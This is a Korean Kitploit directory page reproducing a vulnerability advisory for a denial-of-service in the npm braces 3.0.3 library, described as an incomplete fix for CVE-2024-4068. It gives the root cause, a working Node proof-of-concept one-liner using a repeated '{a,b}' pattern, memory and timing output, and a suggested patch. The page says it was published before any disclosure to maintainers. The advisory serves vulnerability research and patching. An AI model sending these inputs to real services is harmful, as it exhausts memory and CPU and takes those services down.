Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DoS-Braces-3.03 — CVE-Candidate: braces@3.0.3의 쉼표로 구분된 중괄호 확장을 통한 DoS (CVE-2024-4068 불완전한 수정) | Kitploit
도구/GitHubGitHub/cyeezy08/dos-braces-3.03
Static AnalysisVulnerability AnalysisCode AnalysisExploitationFuzzing
GitHubcyeezy08/dos-braces-3.03

DoS-Braces-3.03

CVE-Candidate: [email protected]의 쉼표로 구분된 중괄호 확장을 통한 DoS (CVE-2024-4068 불완전한 수정)

저장소 보기
20일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE 후보: 쉼표로 구분된 중괄호 확장을 통한 braces 서비스 거부

패키지: braces (npm) 버전: 3.0.3 (최신) 심각도: 높음 (CVSS 7.5) CWE: CWE-400 통제되지 않은 리소스 소비 상태: 보고되지 않음

참고: 이는 독립적인 발견입니다. CVE-2024-4068은 입력 길이 제한(MAX_LENGTH=10000)을 처리했지만 쉼표로 구분된 중괄호 패턴의 조합적 출력 폭발은 수정하지 못했습니다. CVE-2026-45149는 micromatch/braces가 아닌 다른 패키지(juliangruber/brace-expansion)에 영향을 미칩니다.


취약점

braces 라이브러리는 쉼표로 구분된 중괄호 확장 패턴을 처리할 때 통제되지 않은 리소스 소비를 통한 서비스 거부에 취약합니다.

110자만 되는 악의적인 입력으로 라이브러리가 메모리에 420만 개의 항목을 생성하며, 1.2GB 이상의 RAM을 소비하고 CPU를 9~30초 동안 차단합니다(하드웨어에 따라 다름).

이는 CVE-2024-4068에 대한 불완전한 수정입니다. 원래 패치는 입력 길이를 10,000자로 제한했지만 쉼표로 구분된 확장의 조합적 출력을 제한하지 않았습니다.

영향

braces는 micromatch의 의존성이며, micromatch는 다음 도구에서 사용됩니다:

  • webpack (번들러)
  • vitest (테스트 러너)
  • jest (테스트 러너)
  • eslint (린터)
  • chokidar (파일 감시자)
  • 수백 개의 다른 도구

사용자 제어 입력을 braces.expand()에 전달하는 모든 애플리케이션은 취약합니다.

근본 원인

lib/expand.js에서 rangeLimit 가드는 숫자 범위({1..1000})만 검사하며 쉼표로 구분된 패턴({a,b})은 검사하지 않습니다:

root@kitploit:~
// lib/expand.js:57
if (node.ranges > 0) {  // only numeric ranges are checked
  if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
    throw new RangeError('...');
  }
}
// Comma-separated expansions skip this check entirely

append() 함수는 출력 제한 없이 모든 2^N 조합을 배열로 재귀적으로 구성합니다.

개념 증명

빠른 테스트

root@kitploit:~
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"

전체 PoC 스크립트

root@kitploit:~
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py

테스트 결과

항목 수는 결정적입니다. 시간과 메모리는 하드웨어에 따라 다릅니다.

취약점 증거 (PoC 출력)

root@kitploit:~
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================

[*] Finding DoS threshold...

  n=10: input=   50 chars ->      1,024 items,      4,096 chars,     11ms, +912KB
  n=15: input=   75 chars ->     32,768 items,    163,840 chars,     96ms, +15915KB
  n=18: input=   90 chars ->    262,144 items,  1,310,720 chars,    737ms, +115535KB
  n=20: input=  100 chars ->  1,048,576 items,  5,242,880 chars,   1833ms, +242558KB
  n=22: input=  110 chars ->  4,194,304 items, 20,971,520 chars,   9723ms, +1196410KB
  n=25: TIMEOUT/OOM

[*] Conclusion:
  - Input size: 110 characters (well within the 10,000 character limit)
  - Memory consumption: >1.2GB
  - CPU block time: ~10 seconds

영향을 받는 코드 경로

root@kitploit:~
braces.expand(input)
  -> lib/expand.js:walk()
    -> lib/expand.js:append()  <- no output limit
      -> recursively builds all 2^N combinations
        -> returns massive array

권장 수정 사항

조합적 폭발을 방지하기 위해 lib/expand.js의 각 연결 단계에 제한 검사를 추가하세요. walk() 내부의 append 호출을 검증 헬퍼로 감싸세요:

root@kitploit:~
const queueLimit = (queue, stash, enclose) => {
  if (rangeLimit === Infinity) return append(queue, stash, enclose);
  const queueLength = queue ? [].concat(queue).length : 0;
  const stashLength = [].concat(stash).length;
  const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
  if (nextLength > rangeLimit) {
    throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
  }
  return append(queue, stash, enclose);
};

walk() 내부의 append() 호출을 queueLimit()으로 대체하면 연속된 중괄호와 범위의 조합이 안전하게 제한됩니다.

공개 타임라인

날짜이벤트
2026-07-17취약점 발견
2026-07-21대중 공개 (책임 있는 공개가 아직 시작되지 않음)

파일

크레딧

cyeezy08 발견.

도구 다운로드
입력 (문자)출력 항목시간 (대략)메모리 (대략)
501,024~10ms~1MB
7532,768~100ms~16MB
90262,144~700ms~116MB
1001,048,576~2-4s~243-468MB
1104,194,304~10-30s~1.2GB+
125+충돌/OOM시간 초과OOM 킬
파일설명
poc_braces_dos.py동작하는 PoC 스크립트
findings.md상세 취약점 분석
verdict.md확인 및 CVSS 점수
disclosure-report.md제출 준비가 된 권고문
patch.difflib/expand.js에 대한 제안된 수정
email-draft.txt관리자에게 보낼 이메일 초안